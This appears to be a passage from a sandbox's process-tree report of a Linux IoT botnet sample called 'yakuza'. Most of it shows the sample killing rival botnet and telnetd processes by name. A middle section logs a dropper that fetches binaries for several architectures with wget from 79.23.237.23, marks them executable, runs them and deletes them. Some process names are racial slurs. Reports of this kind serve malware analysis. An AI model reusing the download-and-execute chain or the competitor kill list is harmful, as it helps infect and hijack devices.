      busybox pkill -9 SlaVLav12
      4⤵
      PID:1523
- - /bin/sh
    sh -c "pkill -9 helpmedaddthhhhh || busybox pkill -9 helpmedaddthhhhh"
    3⤵
    PID:1534
  - - /usr/bin/pkill
      pkill -9 helpmedaddthhhhh
      4⤵
      PID:1535
  - - /bin/busybox
      busybox pkill -9 helpmedaddthhhhh
      4⤵
      PID:1537
- - /bin/sh
    sh -c "pkill -9 2wgg9qphbq || busybox pkill -9 2wgg9qphbq"
    3⤵
    PID:1546
  - - /usr/bin/pkill
      pkill -9 2wgg9qphbq
      4⤵
      PID:1547
  - - /bin/busybox
      busybox pkill -9 2wgg9qphbq
      4⤵
      PID:1549
- - /bin/sh
    sh -c "pkill -9 Slav3Th3seD3vices || busybox pkill -9 Slav3Th3seD3vices"
    3⤵
    PID:1558
  - - /usr/bin/pkill
      pkill -9 Slav3Th3seD3vices
      4⤵
      Reads runtime system information
      PID:1559
  - - /bin/busybox
      busybox pkill -9 Slav3Th3seD3vices
      4⤵
      PID:1561
- - /bin/sh
    sh -c "pkill -9 hzSmYZjYMQ || busybox pkill -9 hzSmYZjYMQ"
    3⤵
    PID:1570
  - - /usr/bin/pkill
      pkill -9 hzSmYZjYMQ
      4⤵
      PID:1571
  - - /bin/busybox
      busybox pkill -9 hzSmYZjYMQ
      4⤵
      PID:1573
- - /bin/sh
    sh -c "pkill -9 5Gbf || busybox pkill -9 5Gbf"
    3⤵
    PID:1582
  - - /usr/bin/pkill
      pkill -9 5Gbf
      4⤵
      Reads runtime system information
      PID:1584
  - - /bin/busybox
      busybox pkill -9 5Gbf
      4⤵
      PID:1585
- - /bin/sh
    sh -c "pkill -9 SoRAxD123LOL || busybox pkill -9 SoRAxD123LOL"
    3⤵
    PID:1594
  - - /usr/bin/pkill
      pkill -9 SoRAxD123LOL
      4⤵
      PID:1596
  - - /bin/busybox
      busybox pkill -9 SoRAxD123LOL
      4⤵
      PID:1597
- - /bin/sh
    sh -c "pkill -9 iaGv || busybox pkill -9 iaGv"
    3⤵
    PID:1607
  - - /usr/bin/pkill
      pkill -9 iaGv
      4⤵
      PID:1608
  - - /bin/busybox
      busybox pkill -9 iaGv
      4⤵
      PID:1609
- - /bin/sh
    sh -c "pkill -9 5aA3 || busybox pkill -9 5aA3"
    3⤵
    PID:1616
  - - /usr/bin/pkill
      pkill -9 5aA3
      4⤵
      PID:1617
  - - /bin/busybox
      busybox pkill -9 5aA3
      4⤵
      PID:1621
- - /bin/sh
    sh -c "pkill -9 SoRAxD420LOL || busybox pkill -9 SoRAxD420LOL"
    3⤵
    PID:1631
  - - /usr/bin/pkill
      pkill -9 SoRAxD420LOL
      4⤵
      Reads CPU attributes
      PID:1632
  - - /bin/busybox
      busybox pkill -9 SoRAxD420LOL
      4⤵
      PID:1635
- - /bin/sh
    sh -c "pkill -9 insomni || busybox pkill -9 insomni"
    3⤵
    PID:1642
  - - /usr/bin/pkill
      pkill -9 insomni
      4⤵
      PID:1643
  - - /bin/busybox
      busybox pkill -9 insomni
      4⤵
      PID:1647
- - /bin/sh
    sh -c "pkill -9 640277 || busybox pkill -9 640277"
    3⤵
    PID:1655
  - - /usr/bin/pkill
      pkill -9 640277
      4⤵
      PID:1657
  - - /bin/busybox
      busybox pkill -9 640277
      4⤵
      PID:1660
- - /bin/sh
    sh -c "pkill -9 SoraBeReppin1337 || busybox pkill -9 SoraBeReppin1337"
    3⤵
    PID:1666
  - - /usr/bin/pkill
      pkill -9 SoraBeReppin1337
      4⤵
      PID:1667
  - - /bin/busybox
      busybox pkill -9 SoraBeReppin1337
      4⤵
      PID:1672
- - /bin/sh
    sh -c "pkill -9 ipcamCache || busybox pkill -9 ipcamCache"
    3⤵
    - System Network Configuration Discovery
    PID:1678
  - - /usr/bin/pkill
      pkill -9 ipcamCache
      4⤵
      System Network Configuration Discovery
      PID:1679
  - - /bin/busybox
      busybox pkill -9 ipcamCache
      4⤵
      System Network Configuration Discovery
      PID:1684
- - /bin/sh
    sh -c "pkill -9 66tlGg9Q || busybox pkill -9 66tlGg9Q"
    3⤵
    PID:1690
  - - /usr/bin/pkill
      pkill -9 66tlGg9Q
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1691
  - - /bin/busybox
      busybox pkill -9 66tlGg9Q
      4⤵
      PID:1692
- - /bin/sh
    sh -c "pkill -9 T || busybox pkill -9 T"
    3⤵
    PID:1702
  - - /usr/bin/pkill
      pkill -9 T
      4⤵
      Reads CPU attributes
      PID:1703
  - - /bin/busybox
      busybox pkill -9 T
      4⤵
      PID:1704
- - /bin/sh
    sh -c "pkill -9 jUYfouyf87 || busybox pkill -9 jUYfouyf87"
    3⤵
    PID:1714
  - - /usr/bin/pkill
      pkill -9 jUYfouyf87
      4⤵
      PID:1715
  - - /bin/busybox
      busybox pkill -9 jUYfouyf87
      4⤵
      PID:1717
- - /bin/sh
    sh -c "pkill -9 6ke3 || busybox pkill -9 6ke3"
    3⤵
    PID:1728
  - - /usr/bin/pkill
      pkill -9 6ke3
      4⤵
      Reads CPU attributes
      PID:1729
  - - /bin/busybox
      busybox pkill -9 6ke3
      4⤵
      PID:1730
- - /bin/sh
    sh -c "pkill -9 TOKYO3 || busybox pkill -9 TOKYO3"
    3⤵
    PID:1738
  - - /usr/bin/pkill
      pkill -9 TOKYO3
      4⤵
      PID:1740
  - - /bin/busybox
      busybox pkill -9 TOKYO3
      4⤵
      PID:1742
- - /bin/sh
    sh -c "pkill -9 lyEeaXul2dULCVxh || busybox pkill -9 lyEeaXul2dULCVxh"
    3⤵
    PID:1751
  - - /usr/bin/pkill
      pkill -9 lyEeaXul2dULCVxh
      4⤵
      PID:1752
  - - /bin/busybox
      busybox pkill -9 lyEeaXul2dULCVxh
      4⤵
      PID:1754
- - /bin/sh
    sh -c "pkill -9 93OfjHZ2z || busybox pkill -9 93OfjHZ2z"
    3⤵
    PID:1763
  - - /usr/bin/pkill
      pkill -9 93OfjHZ2z
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1764
  - - /bin/busybox
      busybox pkill -9 93OfjHZ2z
      4⤵
      PID:1768
- - /bin/sh
    sh -c "pkill -9 TY2gD6MZvKc7KU6r || busybox pkill -9 TY2gD6MZvKc7KU6r"
    3⤵
    PID:1775
  - - /usr/bin/pkill
      pkill -9 TY2gD6MZvKc7KU6r
      4⤵
      Reads runtime system information
      PID:1776
  - - /bin/busybox
      busybox pkill -9 TY2gD6MZvKc7KU6r
      4⤵
      PID:1780
- - /bin/sh
    sh -c "pkill -9 mMkiy6f87l || busybox pkill -9 mMkiy6f87l"
    3⤵
    PID:1788
  - - /usr/bin/pkill
      pkill -9 mMkiy6f87l
      4⤵
      Reads CPU attributes
      PID:1789
  - - /bin/busybox
      busybox pkill -9 mMkiy6f87l
      4⤵
      PID:1792
- - /bin/sh
    sh -c "pkill -9 A023UU4U24UIU || busybox pkill -9 A023UU4U24UIU"
    3⤵
    PID:1800
  - - /usr/bin/pkill
      pkill -9 A023UU4U24UIU
      4⤵
      PID:1801
  - - /bin/busybox
      busybox pkill -9 A023UU4U24UIU
      4⤵
      PID:1804
- - /bin/sh
    sh -c "pkill -9 TheWeeknd || busybox pkill -9 TheWeeknd"
    3⤵
    PID:1812
  - - /usr/bin/pkill
      pkill -9 TheWeeknd
      4⤵
      PID:1814
  - - /bin/busybox
      busybox pkill -9 TheWeeknd
      4⤵
      PID:1820
- /bin/rm
  rm -rf yakuza.arm6
  2⤵
  PID:725
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.i686
  2⤵
  - Writes file to tmp directory
  PID:730
- /bin/chmod
  chmod +x yakuza.i686
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/yakuza.i686
  ./yakuza.i686
  2⤵
  PID:747
- /bin/rm
  rm -rf yakuza.i686
  2⤵
  PID:749
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.ppc
  2⤵
  - Writes file to tmp directory
  PID:751
- /bin/chmod
  chmod +x yakuza.ppc
  2⤵
  - File and Directory Permissions Modification
  PID:761
- /tmp/yakuza.ppc
  ./yakuza.ppc
  2⤵
  PID:762
- /bin/rm
  rm -rf yakuza.ppc
  2⤵
  PID:764
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.i586
  2⤵
  - Writes file to tmp directory
  PID:765
- /bin/chmod
  chmod +x yakuza.i586
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/yakuza.i586
  ./yakuza.i586
  2⤵
  PID:770
- /bin/rm
  rm -rf yakuza.i586
  2⤵
  PID:772
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.m68k
  2⤵
  - Writes file to tmp directory
  PID:773
- /bin/chmod
  chmod +x yakuza.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:784
- /tmp/yakuza.m68k
  ./yakuza.m68k
  2⤵
  PID:785
- /bin/rm
  rm -rf yakuza.m68k
  2⤵
  PID:788
- /usr/bin/wget
  wget http://79.23.237.23/yakuza.arm4
  2⤵
  - Writes file to tmp directory
  PID:789
- /bin/chmod
  chmod +x yakuza.arm4
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/yakuza.arm4
  ./yakuza.arm4
  2⤵
  PID:804
- - /bin/sh
    sh -c "pkill -9 902i13 || busybox pkill -9 902i13"
    3⤵
    PID:809
  - - /usr/bin/pkill
      pkill -9 902i13
      4⤵
      PID:810
  - - /bin/busybox
      busybox pkill -9 902i13
      4⤵
      PID:814
- - /bin/sh
    sh -c "pkill -9 BzSxLxBxeY || busybox pkill -9 BzSxLxBxeY"
    3⤵
    PID:835
  - - /usr/bin/pkill
      pkill -9 BzSxLxBxeY
      4⤵
      PID:836
  - - /bin/busybox
      busybox pkill -9 BzSxLxBxeY
      4⤵
      PID:840
- - /bin/sh
    sh -c "pkill -9 HOHO-LUGO7 || busybox pkill -9 HOHO-LUGO7"
    3⤵
    PID:854
  - - /usr/bin/pkill
      pkill -9 HOHO-LUGO7
      4⤵
      PID:855
  - - /bin/busybox
      busybox pkill -9 HOHO-LUGO7
      4⤵
      PID:861
- - /bin/sh
    sh -c "pkill -9 HOHO-U79OL || busybox pkill -9 HOHO-U79OL"
    3⤵
    PID:870
  - - /usr/bin/pkill
      pkill -9 HOHO-U79OL
      4⤵
      PID:872
  - - /bin/busybox
      busybox pkill -9 HOHO-U79OL
      4⤵
      PID:876
- - /bin/sh
    sh -c "pkill -9 JuYfouyf87 || busybox pkill -9 JuYfouyf87"
    3⤵
    PID:882
  - - /usr/bin/pkill
      pkill -9 JuYfouyf87
      4⤵
      Reads runtime system information
      PID:886
  - - /bin/busybox
      busybox pkill -9 JuYfouyf87
      4⤵
      PID:891
- - /bin/sh
    sh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"
    3⤵
    PID:899
  - - /usr/bin/pkill
      pkill -9 NiGGeR69xd
      4⤵
      PID:900
  - - /bin/busybox
      busybox pkill -9 NiGGeR69xd
      4⤵
      PID:905
- - /bin/sh
    sh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"
    3⤵
    PID:911
  - - /usr/bin/pkill
      pkill -9 SO190Ij1X
      4⤵
      PID:912
  - - /bin/busybox
      busybox pkill -9 SO190Ij1X
      4⤵
      PID:918
- - /bin/sh
    sh -c "pkill -9 LOLKIKEEEDDE || busybox pkill -9 LOLKIKEEEDDE"
    3⤵
    PID:924
  - - /usr/bin/pkill
      pkill -9 LOLKIKEEEDDE
      4⤵
      PID:926
  - - /bin/busybox
      busybox pkill -9 LOLKIKEEEDDE
      4⤵
      PID:932
- - /bin/sh
    sh -c "pkill -9 ekjheory98e || busybox pkill -9 ekjheory98e"
    3⤵
    PID:937
  - - /usr/bin/pkill
      pkill -9 ekjheory98e
      4⤵
      PID:939
  - - /bin/busybox
      busybox pkill -9 ekjheory98e
      4⤵
      PID:944
- - /bin/sh
    sh -c "pkill -9 scansh4 || busybox pkill -9 scansh4"
    3⤵
    PID:949
  - - /usr/bin/pkill
      pkill -9 scansh4
      4⤵
      PID:950
  - - /bin/busybox
      busybox pkill -9 scansh4
      4⤵
      PID:956
- - /bin/sh
    sh -c "pkill -9 MDMA || busybox pkill -9 MDMA"
    3⤵
    PID:962
  - - /usr/bin/pkill
      pkill -9 MDMA
      4⤵
      PID:965
  - - /bin/busybox
      busybox pkill -9 MDMA
      4⤵
      PID:973
- - /bin/sh
    sh -c "pkill -9 fdevalvex || busybox pkill -9 fdevalvex"
    3⤵
    PID:979
  - - /usr/bin/pkill
      pkill -9 fdevalvex
      4⤵
      PID:980
  - - /bin/busybox
      busybox pkill -9 fdevalvex
      4⤵
      PID:987
- - /bin/sh
    sh -c "pkill -9 scanspc || busybox pkill -9 scanspc"
    3⤵
    PID:991
  - - /usr/bin/pkill
      pkill -9 scanspc
      4⤵
      PID:992
  - - /bin/busybox
      busybox pkill -9 scanspc
      4⤵
      PID:993
- - /bin/sh
    sh -c "pkill -9 MELTEDNINJAREALZ || busybox pkill -9 MELTEDNINJAREALZ"
    3⤵
    PID:1003
  - - /usr/bin/pkill
      pkill -9 MELTEDNINJAREALZ
      4⤵
      Reads runtime system information
      PID:1004
  - - /bin/busybox
      busybox pkill -9 MELTEDNINJAREALZ
      4⤵
      PID:1005
- - /bin/sh
    sh -c "pkill -9 flexsonskids || busybox pkill -9 flexsonskids"
    3⤵
    PID:1013
  - - /usr/bin/pkill
      pkill -9 flexsonskids
      4⤵
      PID:1014
  - - /bin/busybox
      busybox pkill -9 flexsonskids
      4⤵
      PID:1018
- - /bin/sh
    sh -c "pkill -9 scanx86 || busybox pkill -9 scanx86"
    3⤵
    PID:1025
  - - /usr/bin/pkill
      pkill -9 scanx86
      4⤵
      PID:1027
  - - /bin/busybox
      busybox pkill -9 scanx86
      4⤵
      PID:1030
- - /bin/sh
    sh -c "pkill -9 MISAKI-U79OL || busybox pkill -9 MISAKI-U79OL"
    3⤵
    PID:1036
  - - /usr/bin/pkill
      pkill -9 MISAKI-U79OL
      4⤵
      PID:1038
  - - /bin/busybox
      busybox pkill -9 MISAKI-U79OL
      4⤵
      PID:1040
- - /bin/sh
    sh -c "pkill -9 foAxi102kxe || busybox pkill -9 foAxi102kxe"
    3⤵
    PID:1046
  - - /usr/bin/pkill
      pkill -9 foAxi102kxe
      4⤵
      PID:1047
  - - /bin/busybox
      busybox pkill -9 foAxi102kxe
      4⤵
      PID:1052
- - /bin/sh
    sh -c "pkill -9 swodjwodjwoj || busybox pkill -9 swodjwodjwoj"
    3⤵
    PID:1058
  - - /usr/bin/pkill
      pkill -9 swodjwodjwoj
      4⤵
      PID:1059
  - - /bin/busybox
      busybox pkill -9 swodjwodjwoj
      4⤵
      PID:1060
- - /bin/sh
    sh -c "pkill -9 MmKiy7f87l || busybox pkill -9 MmKiy7f87l"
    3⤵
    PID:1072
  - - /usr/bin/pkill
      pkill -9 MmKiy7f87l
      4⤵
      PID:1073
  - - /bin/busybox
      busybox pkill -9 MmKiy7f87l
      4⤵
      PID:1074
- - /bin/sh
    sh -c "pkill -9 freecookiex86 || busybox pkill -9 freecookiex86"
    3⤵
    PID:1083
  - - /usr/bin/pkill
      pkill -9 freecookiex86
      4⤵
      PID:1085
  - - /bin/busybox
      busybox pkill -9 freecookiex86
      4⤵
      PID:1086
- - /bin/sh
    sh -c "pkill -9 sysgpu || busybox pkill -9 sysgpu"
    3⤵
    PID:1094
  - - /usr/bin/pkill
      pkill -9 sysgpu
      4⤵
      PID:1096
  - - /bin/busybox
      busybox pkill -9 sysgpu
      4⤵
      PID:1098
- - /bin/sh
    sh -c "pkill -9 NiGGeR69xd || busybox pkill -9 NiGGeR69xd"
    3⤵
    PID:1107
  - - /usr/bin/pkill
      pkill -9 NiGGeR69xd
      4⤵
      Reads runtime system information
      PID:1108
  - - /bin/busybox
      busybox pkill -9 NiGGeR69xd
      4⤵
      PID:1110
- - /bin/sh
    sh -c "pkill -9 frgege || busybox pkill -9 frgege"
    3⤵
    PID:1119
  - - /usr/bin/pkill
      pkill -9 frgege
      4⤵
      Reads CPU attributes
      PID:1120
  - - /bin/busybox
      busybox pkill -9 frgege
      4⤵
      PID:1122
- - /bin/sh
    sh -c "pkill -9 sysupdater || busybox pkill -9 sysupdater"
    3⤵
    PID:1131
  - - /usr/bin/pkill
      pkill -9 sysupdater
      4⤵
      PID:1132
  - - /bin/busybox
      busybox pkill -9 sysupdater
      4⤵
      PID:1136
- - /bin/sh
    sh -c "pkill -9 0DnAzepd || busybox pkill -9 0DnAzepd"
    3⤵
    PID:1143
  - - /usr/bin/pkill
      pkill -9 0DnAzepd
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1145
  - - /bin/busybox
      busybox pkill -9 0DnAzepd
      4⤵
      PID:1148
- - /bin/sh
    sh -c "pkill -9 NiGGeRD0nks69 || busybox pkill -9 NiGGeRD0nks69"
    3⤵
    PID:1156
  - - /usr/bin/pkill
      pkill -9 NiGGeRD0nks69
      4⤵
      PID:1157
  - - /bin/busybox
      busybox pkill -9 NiGGeRD0nks69
      4⤵
      PID:1158
- - /bin/sh
    sh -c "pkill -9 frgreu || busybox pkill -9 frgreu"
    3⤵
    PID:1169
  - - /usr/bin/pkill
      pkill -9 frgreu
      4⤵
      PID:1171
  - - /bin/busybox
      busybox pkill -9 frgreu
      4⤵
      PID:1176
- - /bin/sh
    sh -c "pkill -9 telnetd || busybox pkill -9 telnetd"
    3⤵
    PID:1182
  - - /usr/bin/pkill
      pkill -9 telnetd
      4⤵
      PID:1184
  - - /bin/busybox
      busybox pkill -9 telnetd
      4⤵
      PID:1188
- - /bin/sh
    sh -c "pkill -9 0x766f6964 || busybox pkill -9 0x766f6964"
    3⤵
    PID:1194
  - - /usr/bin/pkill
      pkill -9 0x766f6964
      4⤵
      PID:1195
  - - /bin/busybox
      busybox pkill -9 0x766f6964
      4⤵
      PID:1200
- - /bin/sh
    sh -c "pkill -9 NiGGeRd0nks1337 || busybox pkill -9 NiGGeRd0nks1337"
    3⤵
    PID:1206
  - - /usr/bin/pkill
      pkill -9 NiGGeRd0nks1337
      4⤵
      PID:1207
  - - /bin/busybox
      busybox pkill -9 NiGGeRd0nks1337
      4⤵
      PID:1208
- - /bin/sh
    sh -c "pkill -9 gaft || busybox pkill -9 gaft"
    3⤵
    PID:1218
  - - /usr/bin/pkill
      pkill -9 gaft
      4⤵
      PID:1219
  - - /bin/busybox
      busybox pkill -9 gaft
      4⤵
      PID:1220
- - /bin/sh
    sh -c "pkill -9 urasgbsigboa || busybox pkill -9 urasgbsigboa"
    3⤵
    PID:1230
  - - /usr/bin/pkill
      pkill -9 urasgbsigboa
      4⤵
      PID:1231
  - - /bin/busybox
      busybox pkill -9 urasgbsigboa
      4⤵
      PID:1232
- - /bin/sh
    sh -c "pkill -9 120i3UI49 || busybox pkill -9 120i3UI49"
    3⤵
    PID:1240
  - - /usr/bin/pkill
      pkill -9 120i3UI49
      4⤵
      Reads CPU attributes
      PID:1241
  - - /bin/busybox
      busybox pkill -9 120i3UI49
      4⤵
      PID:1244
- - /bin/sh
    sh -c "pkill -9 OaF3 || busybox pkill -9 OaF3"
    3⤵
    PID:1253
  - - /usr/bin/pkill
      pkill -9 OaF3
      4⤵
      PID:1255
  - - /bin/busybox
      busybox pkill -9 OaF3
      4⤵
      PID:1259
- - /bin/sh
    sh -c "pkill -9 geae || busybox pkill -9 geae"
    3⤵
    PID:1265
  - - /usr/bin/pkill
      pkill -9 geae
      4⤵
      Reads CPU attributes
      PID:1267
  - - /bin/busybox
      busybox pkill -9 geae
      4⤵
      PID:1271
- - /bin/sh
    sh -c "pkill -9 vaiolmao || busybox pkill -9 vaiolmao"
    3⤵
    PID:1277
  - - /usr/bin/pkill
      pkill -9 vaiolmao
      4⤵
      Reads runtime system information
      PID:1279
  - - /bin/busybox
      busybox pkill -9 vaiolmao
      4⤵
      PID:1285
- - /bin/sh
    sh -c "pkill -9 123123a || busybox pkill -9 123123a"
    3⤵
    PID:1289
  - - /usr/bin/pkill
      pkill -9 123123a
      4⤵
      PID:1293
  - - /bin/busybox
      busybox pkill -9 123123a
      4⤵
      PID:1298
- - /bin/sh
    sh -c "pkill -9 Ofurain0n4H34D || busybox pkill -9 Ofurain0n4H34D"
    3⤵
    PID:1303
  - - /usr/bin/pkill
      pkill -9 Ofurain0n4H34D
      4⤵
      PID:1306
  - - /bin/busybox
      busybox pkill -9 Ofurain0n4H34D
      4⤵
      PID:1311
- - /bin/sh
    sh -c "pkill -9 ggTrex || busybox pkill -9 ggTrex"
    3⤵
    PID:1317
  - - /usr/bin/pkill
      pkill -9 ggTrex
      4⤵
      PID:1320
  - - /bin/busybox
      busybox pkill -9 ggTrex
      4⤵
      PID:1323
- - /bin/sh
    sh -c "pkill -9 wasads || busybox pkill -9 wasads"
    3⤵
    PID:1330
  - - /usr/bin/pkill
      pkill -9 wasads
      4⤵
      Reads CPU attributes
      PID:1331
  - - /bin/busybox
      busybox pkill -9 wasads
      4⤵
      PID:1336
- - /bin/sh
    sh -c "pkill -9 1293194hjXD || busybox pkill -9 1293194hjXD"
    3⤵
    PID:1342
  - - /usr/bin/pkill
      pkill -9 1293194hjXD
      4⤵
      PID:1343
  - - /bin/busybox
      busybox pkill -9 1293194hjXD
      4⤵
      PID:1344
- - /bin/sh
    sh -c "pkill -9 OthLaLosn || busybox pkill -9 OthLaLosn"
    3⤵
    PID:1354
  - - /usr/bin/pkill
      pkill -9 OthLaLosn
      4⤵
      Reads runtime system information
      PID:1355
  - - /bin/busybox
      busybox pkill -9 OthLaLosn
      4⤵
      PID:1356
- - /bin/sh
    sh -c "pkill -9 ggt || busybox pkill -9 ggt"
    3⤵
    PID:1366
  - - /usr/bin/pkill
      pkill -9 ggt
      4⤵
      PID:1367
  - - /bin/busybox
      busybox pkill -9 ggt
      4⤵
      PID:1368
- - /bin/sh
    sh -c "pkill -9 wget-log || busybox pkill -9 wget-log"
    3⤵
    PID:1378
  - - /usr/bin/pkill
      pkill -9 wget-log
      4⤵
      PID:1379
  - - /bin/busybox
      busybox pkill -9 wget-log
      4⤵
      PID:1380
- - /bin/sh
    sh -c "pkill -9 1337SoraLOADER || busybox pkill -9 1337SoraLOADER"
    3⤵
    PID:1389
  - - /usr/bin/pkill
      pkill -9 1337SoraLOADER
      4⤵
      PID:1390
  - - /bin/busybox
      busybox pkill -9 1337SoraLOADER
      4⤵
      PID:1392
- - /bin/sh
    sh -c "pkill -9 SAIAKINA || busybox pkill -9 SAIAKINA"
    3⤵
    PID:1401
  - - /usr/bin/pkill
      pkill -9 SAIAKINA
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1402
  - - /bin/busybox
      busybox pkill -9 SAIAKINA
      4⤵
      PID:1404
- - /bin/sh
    sh -c "pkill -9 ggtq || busybox pkill -9 ggtq"
    3⤵
    PID:1413
  - - /usr/bin/pkill
      pkill -9 ggtq
      4⤵
      PID:1414
  - - /bin/busybox
      busybox pkill -9 ggtq
      4⤵
      PID:1418
- - /bin/sh
    sh -c "pkill -9 1378bfp919GRB1Q2 || busybox pkill -9 1378bfp919GRB1Q2"
    3⤵
    PID:1427
  - - /usr/bin/pkill
      pkill -9 1378bfp919GRB1Q2
      4⤵
      Reads CPU attributes
      PID:1429
  - - /bin/busybox
      busybox pkill -9 1378bfp919GRB1Q2
      4⤵
      PID:1432
- - /bin/sh
    sh -c "pkill -9 SAIAKUSO || busybox pkill -9 SAIAKUSO"
    3⤵
    PID:1440
  - - /usr/bin/pkill
      pkill -9 SAIAKUSO
      4⤵
      PID:1441
  - - /bin/busybox
      busybox pkill -9 SAIAKUSO
      4⤵
      PID:1444
- - /bin/sh
    sh -c "pkill -9 ggtr || busybox pkill -9 ggtr"
    3⤵
    PID:1452
  - - /usr/bin/pkill
      pkill -9 ggtr
      4⤵
      Reads CPU attributes
      PID:1453
  - - /bin/busybox
      busybox pkill -9 ggtr
      4⤵
      PID:1456
- - /bin/sh
    sh -c "pkill -9 14Fa || busybox pkill -9 14Fa"
    3⤵
    PID:1464
  - - /usr/bin/pkill
      pkill -9 14Fa
      4⤵
      PID:1465
  - - /bin/busybox
      busybox pkill -9 14Fa
      4⤵
      PID:1468
- - /bin/sh
    sh -c "pkill -9 SEXSLAVE1337 || busybox pkill -9 SEXSLAVE1337"
    3⤵
    PID:1476
  - - /usr/bin/pkill
      pkill -9 SEXSLAVE1337
      4⤵
      Reads runtime system information
      PID:1477
  - - /bin/busybox
      busybox pkill -9 SEXSLAVE1337
      4⤵
      PID:1478
- - /bin/sh
    sh -c "pkill -9 ggtt || busybox pkill -9 ggtt"
    3⤵
    PID:1488
  - - /usr/bin/pkill
      pkill -9 ggtt
      4⤵
      PID:1489
  - - /bin/busybox
      busybox pkill -9 ggtt
      4⤵
      PID:1490
- - /bin/sh
    sh -c "pkill -9 1902a3u912u3u4 || busybox pkill -9 1902a3u912u3u4"
    3⤵
    PID:1500
  - - /usr/bin/pkill
      pkill -9 1902a3u912u3u4
      4⤵
      PID:1501
  - - /bin/busybox
      busybox pkill -9 1902a3u912u3u4
      4⤵
      PID:1502
- - /bin/sh
    sh -c "pkill -9 SO190Ij1X || busybox pkill -9 SO190Ij1X"
    3⤵
    PID:1512
  - - /usr/bin/pkill
      pkill -9 SO190Ij1X
      4⤵
      PID:1513
  - - /bin/busybox
      busybox pkill -9 SO190Ij1X
      4⤵
      PID:1514
- - /bin/sh
    sh -c "pkill -9 haetrghbr || busybox pkill -9 haetrghbr"
    3⤵
    PID:1526
  - - /usr/bin/pkill
      pkill -9 haetrghbr
      4⤵
      PID:1527
  - - /bin/busybox
      busybox pkill -9 haetrghbr
      4⤵
      PID:1528
- - /bin/sh
    sh -c "pkill -9 19ju3d || busybox pkill -9 19ju3d"
    3⤵
    PID:1538
  - - /usr/bin/pkill
      pkill -9 19ju3d
      4⤵
      PID:1539
  - - /bin/busybox
      busybox pkill -9 19ju3d
      4⤵
      PID:1542
- - /bin/sh
    sh -c "pkill -9 SORAojkf120 || busybox pkill -9 SORAojkf120"
    3⤵
    PID:1550
  - - /usr/bin/pkill
      pkill -9 SORAojkf120
      4⤵
      PID:1551
  - - /bin/busybox
      busybox pkill -9 SORAojkf120
      4⤵
      PID:1554
- - /bin/sh
    sh -c "pkill -9 hehahejeje92 || busybox pkill -9 hehahejeje92"
    3⤵
    PID:1562
  - - /usr/bin/pkill
      pkill -9 hehahejeje92
      4⤵
      PID:1563
  - - /bin/busybox
      busybox pkill -9 hehahejeje92
      4⤵
      PID:1566
- - /bin/sh
    sh -c "pkill -9 2U2JDJA901F91 || busybox pkill -9 2U2JDJA901F91"
    3⤵
    PID:1574
  - - /usr/bin/pkill
      pkill -9 2U2JDJA901F91
      4⤵
      PID:1575
  - - /bin/busybox
      busybox pkill -9 2U2JDJA901F91
      4⤵
      PID:1578
- - /bin/sh
    sh -c "pkill -9 SlaVLav12 || busybox pkill -9 SlaVLav12"
    3⤵
    PID:1586
  - - /usr/bin/pkill
      pkill -9 SlaVLav12
      4⤵
      PID:1587
  - - /bin/busybox
      busybox pkill -9 SlaVLav12
      4⤵
      PID:1590
- - /bin/sh
    sh -c "pkill -9 helpmedaddthhhhh || busybox pkill -9 helpmedaddthhhhh"
    3⤵
    PID:1598
  - - /usr/bin/pkill
      pkill -9 helpmedaddthhhhh
      4⤵
      PID:1599
  - - /bin/busybox
      busybox pkill -9 helpmedaddthhhhh
      4⤵
      PID:1602
- - /bin/sh
    sh -c "pkill -9 2wgg9qphbq || busybox pkill -9 2wgg9qphbq"
    3⤵
    PID:1610
  - - /usr/bin/pkill
      pkill -9 2wgg9qphbq
      4⤵
      PID:1612
  - - /bin/busybox
      busybox pkill -9 2wgg9qphbq
      4⤵
      PID:1619
- - /bin/sh
    sh -c "pkill -9 Slav3Th3seD3vices || busybox pkill -9 Slav3Th3seD3vices"
    3⤵
    PID:1624
  - - /usr/bin/pkill
      pkill -9 Slav3Th3seD3vices
      4⤵
      PID:1625
  - - /bin/busybox
      busybox pkill -9 Slav3Th3seD3vices
      4⤵
      PID:1630
- - /bin/sh
    sh -c "pkill -9 hzSmYZjYMQ || busybox pkill -9 hzSmYZjYMQ"
    3⤵
    PID:1636
  - - /usr/bin/pkill
      pkill -9 hzSmYZjYMQ
      4⤵
      PID:1637
  - - /bin/busybox
      busybox pkill -9 hzSmYZjYMQ
      4⤵
      PID:1638
- - /bin/sh
    sh -c "pkill -9 5Gbf || busybox pkill -9 5Gbf"
    3⤵
    PID:1648
  - - /usr/bin/pkill
      pkill -9 5Gbf
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1649
  - - /bin/busybox
      busybox pkill -9 5Gbf
      4⤵
      PID:1650
- - /bin/sh
    sh -c "pkill -9 SoRAxD123LOL || busybox pkill -9 SoRAxD123LOL"
    3⤵
    PID:1658
  - - /usr/bin/pkill
      pkill -9 SoRAxD123LOL
      4⤵
      Reads CPU attributes
      PID:1659
  - - /bin/busybox
      busybox pkill -9 SoRAxD123LOL
      4⤵
      PID:1662
- - /bin/sh
    sh -c "pkill -9 iaGv || busybox pkill -9 iaGv"
    3⤵
    PID:1670
  - - /usr/bin/pkill
      pkill -9 iaGv
      4⤵
      PID:1671
  - - /bin/busybox
      busybox pkill -9 iaGv
      4⤵
      PID:1674
- - /bin/sh
    sh -c "pkill -9 5aA3 || busybox pkill -9 5aA3"
    3⤵
    PID:1681
  - - /usr/bin/pkill
      pkill -9 5aA3
      4⤵
      PID:1683
  - - /bin/busybox
      busybox pkill -9 5aA3
      4⤵
      PID:1687
- - /bin/sh
    sh -c "pkill -9 SoRAxD420LOL || busybox pkill -9 SoRAxD420LOL"
    3⤵
    PID:1693
  - - /usr/bin/pkill
      pkill -9 SoRAxD420LOL
      4⤵
      PID:1694
